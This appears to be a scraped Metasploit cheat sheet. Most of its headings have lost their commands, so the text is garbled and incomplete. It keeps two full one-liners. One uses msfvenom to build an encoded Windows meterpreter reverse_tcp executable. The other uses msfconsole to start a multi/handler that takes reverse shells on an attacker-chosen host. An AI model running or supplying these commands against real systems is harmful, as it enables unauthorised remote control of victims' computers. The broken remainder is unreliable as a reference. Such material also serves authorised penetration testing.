Metasploit CommandsΒΆ
To Display All Exploits Related to a Specific Vulnerability
To Choose a Specific Exploit for Use
To Review Current Configuration Settings of the Selected Exploit
To List Payloads Compatible With the Chosen Exploit
To Assign a Specific Payload to the Current Exploit
To Configure an Option for the Active Exploit or Payload
To Execute the Configured Exploit
orCommand to Generate a Windows Payload in One Line
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<listening_host> LPORT=<listening_port> -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /path/to/payload.exe
One-Line Command to Initiate a Meterpreter Session
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <listening_host>; set LPORT <listening_port>; exploit;"
Additional Commands for Enhanced Metasploit Usage
To Display Information About a Specific Module
To Set Up a Multi-Handler for Receiving Reverse Connections
To Save the Current Configuration to a File for Later Use
To Load a Previously Saved Configuration
To Background a Current Session Without Closing It
To List All Active Sessions
To Interact With a Specific Meterpreter Session
To Display the Metasploit Version and Environment Information